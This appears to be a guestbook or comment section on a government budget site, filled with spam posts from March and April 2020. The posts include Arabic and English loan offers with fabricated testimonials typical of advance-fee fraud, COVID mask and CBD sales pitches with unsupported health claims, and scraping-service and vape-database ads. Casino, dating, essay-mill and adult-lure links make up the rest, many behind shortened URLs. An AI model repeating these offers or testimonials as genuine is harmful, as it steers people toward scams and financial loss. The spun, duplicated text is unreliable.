WhatsApp عبر: 0031642117819. نحن دائما متحمسون لتقديم الدعم المالي. نحن نقدم خدمات قروض عالمية على مدار 24 ساعة.

Jessica Rojas

Sunday, April 12, 2020

جيسيكا روخاس للخدمات المالية يمنح القرض حاليًا بسعر فائدة 2٪. نحن نقدم مجموعة متنوعة من التمويل بما في ذلك: القرض الشخصي ، قرض المنزل ، قروض توطيد الديون ، قروض السيارات ، القروض الزراعية ، قروض الأعمال وقروض الشركات بنسبة 2 ٪ بسعر فائدة سنوي وهو ثابت. يرجى الاتصال بنا عبر البريد الإلكتروني: Jessicarojasloanfirm1998@hotmail.com أو whatsapp +1 (321) 270-1063 لمزيد من المعلومات

Hal Coulter

Saturday, April 11, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: UK Vape Shop Database with Vape Shop Contact Details

Jetta Bess

Saturday, April 11, 2020

Hi, Our world and also human beings are in threat! When going out, constantly putting on mask as well as frequent decontaminate your hands! It is the most effective method to combat with COVID infection to stay clear of neighborhood infection and just how Oriental countries successfully manage the dispersing of this major virus. Do not queue up in public for hours to purchase the masks, which implies to reveal on your own to potential virus service providers. We are selling the EU accepted clinical masks accredited by Nelson Laboratories under EN14683 :2005 Type II requirement. Minimal by the supply of raw materials which price has actually been elevated 20 times than common and also keep fluctuating, please see our listed below order link to the current price as well as stock readily available. If feasible with E-express solutions to the countries * listed below or airmail for various other countries, we will certainly deliver on the very same day. Invite to send us questions of mass orders: www.bfemask.com info@bfemask.com We have experienced SARS and surely will experience COVID this moment. Thanks to the extreme individual health actions of Asians, Hong Kong, Taiwan, Korea, Japan the infection instances have actually passed top and torment is controlled. Make sure and also god bless every person! Truly, Matthew, from Hong Kong

happy day

Saturday, April 11, 2020

مرحباً بالجميع ، هنا يأتي قرض ميسور التكلفة سيغير حياتك إلى الأبد ، وشهادة على كيفية الحصول على قرض لتغيير حياتي العائلية المميتة. اسمي السيدة كلانسي ديكستر. هل أعيش في فلوريدا بالولايات المتحدة الأمريكية وأنا امرأة سعيدة اليوم؟ قلت لنفسي أن أي مقرض يمكن أن يغير حياة بروك وعائلتي ، سأرسل أي شخص يبحث عن قرض لهم. أعطوني وسعادة عائلتي. استغرق الأمر مني قرضًا بقيمة 250،000 دولار لبدء حياتي مرة أخرى كأرملة مع ثلاثة أطفال. ذهبت إلى هذه الشركة ، التي اقترضت قرض إنترنت صادق وخافٍ من الله ، مما ساعدني في الحصول على قرض بقيمة 250.000 دولار. . الدولار ، هم في الواقع الله خوفا من الناس الذين يعملون مع شركة إقراض ذات سمعة طيبة. إذا كنت بحاجة إلى قرض وكنت متأكدًا تمامًا من السداد ، فاتصل به وأخبره أن السيدة كلانسي أعطته لك. جهة اتصال البريد الإلكتروني: happyday99loanfirm@gmail.com

Dawna Rees

Friday, April 10, 2020

We would like to invite budget.gov.eg to become our wholesaler! A Little About Raw CBD Gummies Raw Gummies is your best source for the highest quality CBD gummy bears and candies. Based in Miami, Florida, we made sure to give honor to our tropical home by specializing in tropical flavors. We are dedicated to providing you with the highest quality, most affordable CBD gummies on the market. Our CBD products are legal in all 50 states and can be used at any time of the day! Our products are made using the richest Full Spectrum CBD Oil available. Unlike many other CBD companies who claim to have “broad spectrum” and use CBD Isolates, our products contain a complete phytocannabinoid spectrum packed with beneficial terpenes and flavonoids. Many of our competitors purchase their CBD from China and other sources with loose regulatory requirements. Our CBD is dual sourced from family-owned hemp farms in Colorado and Kentucky to maintain reliable and steady supply. We believe in results. Compare our gummies to other CBD products and you’ll instantly see why we’re different. We are Featured in the Leading CBD and Lifestyle Publications. You can read more about us and reviews of our CBD gummies here: Allure.com Tatler.com vapetelligent.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Cosmopolitan.com hempressa.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Vice.com thesun.co.uk cbdlifemag.com

Jacquie Sheahan

Friday, April 10, 2020

We need your help with supplies. Our family is out of sanitizers and we can't get any at the stores. My grand mother can't get out of the home. I can get them n95 masks at https://Freelytrade.com Please post your excess supplies at FreelyTrade? We'll pay whatever the fair market rate is for it! You'll save our lives and our neighbourhood right now! Stay healthy Jacquie

Edythe Givens

Thursday, April 9, 2020

Do you want to submit your business on thousands of online ad websites monthly? One tiny investment every month will get you almost unlimited traffic to your site forever! For more information just visit: http://bit.ly/adpostingrobot

Chana Buford

Thursday, April 9, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: USA Vape Shop Database with Vape Shop Contact Details

Larry Winter

Wednesday, April 8, 2020

هل ترغب في الحصول على قرض شخصي / أعمال / استثمار؟ القرض هنا من أجلك لقد قدمنا ​​أكثر من 180 مليون دولار في شكل قروض تجارية لأكثر من 15000 من أصحاب الأعمال مثلك تمامًا. نحن نستخدم تكنولوجيا المخاطر الخاصة بنا لتزويدك بقرض تجاري مناسب حتى تتمكن من تنمية عملك. خدماتنا سريعة وموثوقة ، تتم الموافقة على القروض في غضون 72 ساعة من التطبيق الناجح. نقدم قروض من الحد الأدنى من 5000 دولار إلى حد أقصى قدره 20 مليون دولار. نحن نقدم: * قروض الأعمال * القروض الشخصية أو قروض التوقيع * ترتيبات الاقتراض من $ 5،000.00 حتى $ 20،000،000 * اختر فترة سداد تتراوح بين 1 إلى 10 سنوات. * اختر بين خطة السداد الشهرية والسنوية. * تطبق شروط وأحكام القرض المرنة. * أسعار فائدة منخفضة تصل إلى 2٪. نحن معتمدون وخصوصيتك آمنة 100٪ معنا. لا تقلق بشأن قروضك أو أموالك. اتصل بنا اليوم عبر: calvertguaranteefinancial@yahoo.com احصل على موافقة فورية على قرضك اليوم. https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Tosha Breeden

Wednesday, April 8, 2020

Greetings, I was just visiting your site and wondering about the payment method, which you use to accept credit card and local payments from your customers. I am working with WebPays (http://bit.ly/webpays) and we can serve your business by offering credit card and various local payment methods to accept online payments. The best part part is that we price each business according to their activities, hence you could expect a better pricing to be offered to your business. In general our pricing is 2.6% for credit card payments and 1.5% for local payments. If you are interested or would like to see our quotes for your business, just provide us few details by the link: http://bit.ly/webpays-quote You can also write me on info [at] webpays [dot] com. I will get back to with the pricing asap. Thanks.

우리카지노

Wednesday, April 8, 2020

At this moment I am going to do my breakfast, afterward having my breakfast coming over again to read additional news. https://www.woori777.com

Larry Winter

Wednesday, April 8, 2020

مرحبًا ، أنا من شيكاغو ، الولايات المتحدة الأمريكية ، أريد استخدام هذا الوقت للكتابة على الإنترنت أنني تلقيت للتو قروض من 5 ملايين دولار من هذه الشركة تسمى CALVERT GUARANTEE FINANCIALS في البداية لم أصدق ما يقوله الناس على الإنترنت ولكنني قررت المحاولة وتقدمت بطلب للحصول على القرض منذ يومين وتلقيت للتو مكالمة من المصرف الذي أتعامل معه بأن هناك مبلغ 5 ملايين دولار في حسابي وعلى الفور تلقيت تنبيهًا من البنك الذي أتعامل معه من شركة CALVERT GUARANTEE FINANCIALS اتصل بي وسألني لي إذا كنت قد تلقيت قرضي وقلت لهم نعم لذلك قالوا إنني يجب أن أحضر المزيد من الأشخاص إلى الشركة إذا كان أي شخص يحتاج إلى قرض ، إذا كنت حقًا بحاجة إلى قرض فهذه هي الشركة التي يجب أن تتقدم بطلب منها وهي رائعة حقًا وأنا صدق الآن أن هناك شركة قروض حقيقية تقدم القروض وأن هذه الشركة هي CALVERT GUARANTEE FINANCIALS لذلك إذا كان أي شخص منكم بحاجة إلى قرض عاجل ومن المهم أن تكون هذه الشركة المناسبة لتقديم طلب منها. عنوان بريدهم الإلكتروني هو: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact Text / Whats app / call +1 (813) 308 0099 أخيرًا ، أنا سعيد حقًا ويمكنني بدء عملي الخاص الآن. شكرا لك مرة أخرى أبيجيل أنت عظيم وبارك الله فيك وشركتك.

Anne Essex

Tuesday, April 7, 2020

Hi By way of an introduction, my name is Sergey and I am the owner of Creative Bear Tech, a web site data scraping and computer software company operated in London, UK. We primarily work with B2B businesses by helping them to connect with their customers through our data scraping solutions. I have found budget.gov.eg whilst doing some research and presumed that you could definitely benefit from our services as we deal with very identical companies. We currently have more than 1,000 customers and I am in the process of growing our services by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our products and services that you may find helpful in developing your business. --. 1. Massive USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the USA of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will allow you to scrape niche-relevant business contact details from the search engines, social networking media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimisation, More Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Bertaten

Monday, April 6, 2020

https://www.pinterest.com/pin/99149629284671857/

카지노사이트

Monday, April 6, 2020

I have been exploring for a little bit for any high quality articles or blog posts in this kind of space . Exploring in Yahoo I at last stumbled upon this website. Studying this information So i'm satisfied to exhibit that I have a very good uncanny feeling I came upon exactly what I needed. I such a lot indisputably will make sure to don?t overlook this web site and provides it a glance regularly. https://wooricasino114.com

Rosemary Gabriel

Monday, April 6, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

샌즈카지노

Monday, April 6, 2020

It's not my first time to pay a quick visit this site, i am browsing this site dailly and obtain nice facts from here every day. https://www.woori777.com

더킹카지노

Monday, April 6, 2020

When I originally left a comment I appear to have clicked the -Notify me when new comments are added- checkbox and from now on whenever a comment is added I get four emails with the exact same comment. There has to be a way you can remove me from that service? Many thanks! https://www.woori777.com

Maria Guenther

Monday, April 6, 2020

Hi By way of an introduction, my name is Sergey and I am the ceo of Creative Bear Tech, a website data scraping and software business situated in London, UK. We mainly deal with B2B businesses by helping them to get in touch with their clients through our data scraping solutions. I have found budget.gov.eg whilst doing some research and presumed that you could definitely benefit from our services as we deal with very identical companies. We presently have over 1,000 customers and I am in the process of expanding our services by opening up offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our services and products that you may find useful in expanding your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will enable you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimization, More Sales and Site Visitor Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, UK. https://creativebeartech.com.

Larry Winter

Monday, April 6, 2020

يوم جيد ، أود أن أتحدث عن صلاح الله في حياتي بعد عدة أشهر من محاولتي الحصول على قرض على الإنترنت وقد تعرضت للخداع لذلك أصبحت يائسة في الحصول على قرض من مقرض شرعي عبر الإنترنت ثم رأيت تعليق من صديق يدعى ويليام كين وتحدث عن شركة القروض الشرعية هذه حيث حصل على قرضه بسرعة وسهولة دون أي ضغوط ، فقدمني لرجل يدعى السيد جيمس فابيو الذي يسيطر على شركة تسمى ضمان كالفرت المالية ، لذلك تقدمت بطلب مبلغ قرض ($ 80،000.00USD) مع معدل فائدة منخفض 2٪ ، لذلك تمت الموافقة على القرض وإيداعه في حسابي المصرفي بهذه الطريقة تمكنت من الحصول على القرض للحفاظ على نشاطي التجاري المتعطل وأيضًا لسداد فواتيري لذلك أنصح كل واحد منكم المهتم بالحصول على قرض بسرعة وسهولة الاتصال بهم عبر البريد الإلكتروني: calvertguaranteefinancial@yahoo.com https://calvertguaranteefi.wixsite.com/nancials/contact نص / اتصال / تطبيق Whats: +1 (703) 828 9082

Jewell Dossett

Sunday, April 5, 2020

We would like to invite budget.gov.eg to become our wholesaler! A Little About Raw CBD Gummies Raw Gummies is your best source for the highest quality CBD gummy bears and candies. Based in Miami, Florida, we made sure to give honor to our tropical home by specializing in tropical flavors. We are dedicated to providing you with the highest quality, most affordable CBD gummies on the market. Our CBD products are legal in all 50 states and can be used at any time of the day! Our products are made using the richest Full Spectrum CBD Oil available. Unlike many other CBD companies who claim to have “broad spectrum” and use CBD Isolates, our products contain a complete phytocannabinoid spectrum packed with beneficial terpenes and flavonoids. Many of our competitors purchase their CBD from China and other sources with loose regulatory requirements. Our CBD is dual sourced from family-owned hemp farms in Colorado and Kentucky to maintain reliable and steady supply. We believe in results. Compare our gummies to other CBD products and you’ll instantly see why we’re different. We are Featured in the Leading CBD and Lifestyle Publications. You can read more about us and reviews of our CBD gummies here: Allure.com Tatler.com vapetelligent.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Cosmopolitan.com hempressa.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Vice.com thesun.co.uk cbdlifemag.com

Willard Russo

Sunday, April 5, 2020

Hi By way of an introduction, my name is Sergey and I am the founder of Creative Bear Tech, a website data scraping and computer software business operated in London, UK. We primarily deal with B2B businesses by helping them to get in touch with their customers through our data scraping solutions. I have found budget.gov.eg whilst doing some research and presumed that you could truly benefit from our services as we deal with very similar companies. We presently have over 1,000 customers and I am in the process of expanding our offering by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Listed below are some of our services and products that you may find beneficial in growing your business. --. 1. Enormous USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of companies operating in the USA of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will allow you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic Search Engine Optimization, More Online Sales and Site Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Owner of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, United Kingdom. https://creativebeartech.com.

Tera Stocks

Saturday, April 4, 2020

List budget.gov.eg with a VAPE STORE DIRECTORY to increase your online exposure and sales. Simply Google "VAPE STORE DIRECTORY".

Duane Solano

Saturday, April 4, 2020

We need your help with supplies. Our family is out of sanitizers and we can't get any at the shops. I can get them n95 masks at http://freelytrade.com Please list your extra supplies there? We'll pay WHATEVER the going rate is for it! You'll save our lives and our community today! Stay healthy Duane

Lynda Littlefield

Saturday, April 4, 2020

Increase your B2B sales by connecting with all the vape shops in the world. Google: Global Hemp and CBD Shops Database with Contact Details

Amos Bond

Friday, April 3, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

Merlin

Friday, April 3, 2020

whisper online dating https://t5u.datinglast.site/ whisper online dating best data science masters programs online

DorisHeamp

Friday, April 3, 2020

Hi! Write only if you are serious! Jess. Age 26. My new photos and sexy videos here [b][url=http://bit.ly/2ZO8bnK]>>>Click!<<<[/url] [/b] [url=http://bit.ly/2ZO8bnK][IMG]https://thechive.com/wp-content/uploads/2019/04/kelseywileniuss_51830505_182634262714473_6103861796390076521_n.jpg?quality=85&strip=info&w=600 [/IMG] [/url] top dating apps in india 2019 latest dating site in usa 2018 free dating sites auckland nz totally free dating apps 2019 dating website free trial uk adult costume plenty of fish review speedating sports direct chinese speed dating london

Martin

Thursday, April 2, 2020

Dear Sir/Madam, I came across your website and thought you may be interested in our content writing services. I work with a group of skilled native English copywriters and over the last nine years we have produced 1000s of content pieces in almost every sector. We have bucket loads of experience in keyword/SEO article writing, product descriptions writing, web content writing, and blog post writing. Please let me know if I should send some samples. We can produce 5000+ words every day. All our write ups are unique, well written and pass copyscape premium plagiarism tests. Get back to me today to place your 1st order. My best regards, Team Lead Skype ID: patmos041

Sophie Worth

Thursday, April 2, 2020

Explode your wholesale sales with a click of a button. Google: Beauty Products & Cosmetics Shops Email List and B2B Marketing List

bishop

Wednesday, April 1, 2020

نحمل قروضًا غير مصرفية ؛ ؛ ... الحد الأدنى من المستندات. موافقة سريعة. نتحقق بشكل فردي من سجلات سجلات العملاء المصرفية وغير المصرفية وسولوس. دون أي تكلفة. مصلحة فردية بالملاءة. قروض تصل إلى 500000 كرونة تشيكية. في حالة الرهن لا يهم التنفيذ ويمكن أن تصل القروض إلى ما يصل إلى 5000000 كرونة تشيكية. المزيد من الموردين أيضا لحسابهم الخاص. القدرة على تأجيل الاستحقاق أو المدفوعات غير العادية والسداد المبكر للقرض. اكتب على عنوان البريد الإلكتروني الخاص بنا للحصول على موافقة عاجلة على قرضك .... عنوان البريد الإلكتروني: bishopzlata.koruna33@gmail.com

VjazginCot

Wednesday, April 1, 2020

http://bit.ly/2QcvpAG - write my lab report for me Staring at a blank screen and frantically gulping coffee won’t materialize an admissions essay. The solution? Use this college admission essay writing service! Hiring a professional, rather than fumbling the task yourself, lets you drastically improve your chances of admission. Our writing service allows you to obtain a custom admissions essay quickly, easily, and affordably. The experts we hire obsess over every aspect of their writing, thereby ensuring that our customers have the highest probability of being accepted to college. We are looking forward to making a difference in your academic life. http://bit.ly/2tpE9u7 - what can i write my essay on For partners http://bit.ly/2Qebt05 [url=http://reformbijuteri.com/./index.php]Cheap writing service[/url] [url=https://ntsolutions.co.za/forums/index.php?topic=16323.new#new]Buy essays online reviews[/url] [url=http://www.ostamyy.com/myydaan/annetaan-ilmaiseksi/overseas-pharmacy-forum-fank-t25885-232220.html#p1640717]Professional custom writing service[/url] f735956

Joann

Tuesday, March 31, 2020

dating apps with best results https://7fi.nomadicdating.site/sitemap.xml dating apps with best results data visualisation course online

918kiss Jackpot download

Tuesday, March 31, 2020

I'm not sure where you are getting your information, but great topic. I needs to spend some time learning much more or understanding more. Thanks for magnificent information I was looking for this information for my mission. https://Www.usamap.club/Www.Garyzalkin.org

Maple

Tuesday, March 31, 2020

speed dating hartford https://4c2.irondating.site/sitemap.xml speed dating hartford northern michigan dating sites

Elena Hyde

Tuesday, March 31, 2020

List budget.gov.eg with a CBD Shop Directory to increase your online exposure and sales. Simply Google "CBD Shop Directory".

Lacy Stockwell

Monday, March 30, 2020

We would like to invite budget.gov.eg to become our wholesaler! A Little About Raw CBD Gummies Raw Gummies is your best source for the highest quality CBD gummy bears and candies. Based in Miami, Florida, we made sure to give honor to our tropical home by specializing in tropical flavors. We are dedicated to providing you with the highest quality, most affordable CBD gummies on the market. Our CBD products are legal in all 50 states and can be used at any time of the day! Our products are made using the richest Full Spectrum CBD Oil available. Unlike many other CBD companies who claim to have “broad spectrum” and use CBD Isolates, our products contain a complete phytocannabinoid spectrum packed with beneficial terpenes and flavonoids. Many of our competitors purchase their CBD from China and other sources with loose regulatory requirements. Our CBD is dual sourced from family-owned hemp farms in Colorado and Kentucky to maintain reliable and steady supply. We believe in results. Compare our gummies to other CBD products and you’ll instantly see why we’re different. We are Featured in the Leading CBD and Lifestyle Publications. You can read more about us and reviews of our CBD gummies here: Allure.com Tatler.com vapetelligent.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Cosmopolitan.com hempressa.com/post/raw-gummies-cbd-gummy-bears-from-miami-florida-review Vice.com thesun.co.uk cbdlifemag.com

Jonna

Monday, March 30, 2020

free browsing on dating sites https://vp7.likedating.site/ free browsing on dating sites what is a dating website

DankDollz

Monday, March 30, 2020

Yes! You read that right! We put our new magazine up on our website for FREE! We made it 3D but you can also download it for free as a PDF and read it whenever you like, even without internet. You can view it online or download it for free from here: https://www.dankdollz.com/3d-flip-book/dankdollz-magazine-issue-1/ We also have a few more advertising spaces left for our next issue. If you like what you see and would like to advertise your brand or range of products with us, get in touch with me below. Look forward to hearing from you, Tops Mohiuddin Email: tops@dankdollz.com www.DankDollz.com Follow Us On Twitter - https://twitter.com/DankDollz Follow Us On Instagram - https://www.instagram.com/dankdollz_mag/ Subscribe To Us On YouTube - https://www.youtube.com/channel/UCIG1d4Ci6nThd5vjIv__xRw

Roger

Monday, March 30, 2020

jw dating site https://9zg.mutualdating.site/ jw dating site Jw Dating Site

Katrina

Sunday, March 29, 2020

free online dating in sweden https://g58.datingfarming.site/ free online dating in sweden biggest dating apps

Mae Hutchins

Sunday, March 29, 2020

Fresh from their recent success at a series of major UK award shows, Green Stem CBD has expanded their award-winning CBD enhanced range to include first-to-market CBD infused tonic waters free from sugar, artificial sweeteners and artificial flavourings. Each can delivers 10mg of the highest quality broad-spectrum CBD and come in three delicious botanical flavours that include Elderflower, Rhubarb & Rose and Citrus. Recommended retail price is £3.00 per can. CBD – also known as cannabidiol – is renowned for its anti-inflammatory and antioxidant properties. Revered to promote harmonious balance between the mind and body it also supports with an array of conditions including anxiety and insomnia. Crucially, Green Stem CBD products are 100% free of THC, the psychoactive ingredient of cannabis, so they are entirely legal and safe to use. The 250ml cans of tonic are adorned with the same beautiful artwork and design that have made Green Stem one of the most visible CBD companies in the UK and reflect the quality and purity of the ingredients in the can. The tonic contains extracts of Quassia, a West Indian bitter wood which is known for its zesty flavour and health benefits. Added to the blend is Cinchona bark, one of the most important ingredients in tonic thanks to its high level of digestion-aiding quinine – with Green Stem being amongst the first to use botanically-infused quinine vs chemical extraction. Manufactured at their HQ in Guildford, Surrey, the Green Stem CBD range is crafted using hemp oil rich in phytocannabinoids, derived from hemp grown organically in Colorado USA. All products are also thoroughly tested, enabling the proven health benefits of CBD to be experienced without any negative side effects. Setting new standards in the industry, Green Stem CBD recently won a clutch of awards at the UK Hemp and CBD Show, winning Best CBD Oil at events in March and October in 2019. “We are delighted to have been recognised as one of the game-changers in the wellness industry this year with our award-winning CBD oils, inhalable and skincare products,” said Brett Horth, CEO of Green Stem CBD. “Our new venture into the edibles and drinks sector marks a hugely exciting stage in our journey, and we are certain that our customers will enjoy experiencing the benefits of CBD with these innovative new products.” Read more at https://chillhempire.com/award-winning-green-stem-cbd-release-delectable-range-of-cbd-tonic-waters

Christa Israel

Sunday, March 29, 2020

Hi By way of an introduction, my name is Sergey and I am the owner of Creative Bear Tech, a web site data scraping and software business located in London, UK. We mostly work with B2B businesses by helping them to connect with their clients through our data scraping services. I have found budget.gov.eg whilst doing some research and thought that you could definitely benefit from our professional services as we work with very similar companies. We currently have over 1,000 clients and I am in the process of expanding our services by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our services and products that you may find helpful in growing your business. --. 1. Huge USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of businesses operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation computer software like no other! It will enable you to scrape niche-relevant business contact details from the search engines, social media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped Especially for You (just tell us your keywords). https://creativebeartech.com/product/custom-b2b-database-fresh-b2b-leads-scraped-especially-for-you/. --. 5. Authority PBN Backlinks Building Service for Organic SEO, More Online Sales and Site Visitor Traffic. https://creativebeartech.com/product/authority-pbn-backlinks-building-service-for-organic-seo/. --. If you have any questions, please let me know! Kind regards. Sergey Greenfields. Ceo of Creative Bear Tech. Flat 9, 1 Jardine Rd, St Katharine's & Wapping,. London E1W 3WD, UK. https://creativebeartech.com.

Angel Langan

Sunday, March 29, 2020

Hi By way of an introduction, my name is Sergey and I am the owner of Creative Bear Tech, a website data scraping and software business operated in London, UK. We mainly deal with B2B companies by helping them to get in touch with their clients through our data scraping services. I have found budget.gov.eg whilst doing some research and presumed that you could truly benefit from our professional services as we deal with very identical companies. We currently have over 1,000 customers and I am in the process of growing our services by launching offices in the USA and the Baltic States. I will keep the rest short and sweet. Below are some of our products and services that you may find beneficial in developing your business. --. 1. Enormous USA B2B Database of All Industries (Gain access to over 7,900 niche targeted databases of companies operating in the United States of America - Over 5 Million Business Contact Details). https://creativebeartech.com/product/massive-usa-b2b-database-of-all-industries-1/. --. 2. Search Engine Scraper and Email Extractor by Creative Bear Tech (Our Search Engine Scraper is a cutting-edge lead generation software like no other! It will make it possible for you to scrape niche-relevant business contact details from the search engines, social networking media and business directories.). https://creativebeartech.com/product/search-engine-scraper-and-email-extractor-by-creative-bear-tech/. --. 3. YELLOW PAGES SCRAPER AND EXTRACTOR SOFTWARE FOR USA AND UK. https://creativebeartech.com/product/yellow-pages-scraper-and-extractor-software-for-usa-and-uk/. --. 4. Custom Website Data Scraping: Fresh B2B Leads Scraped 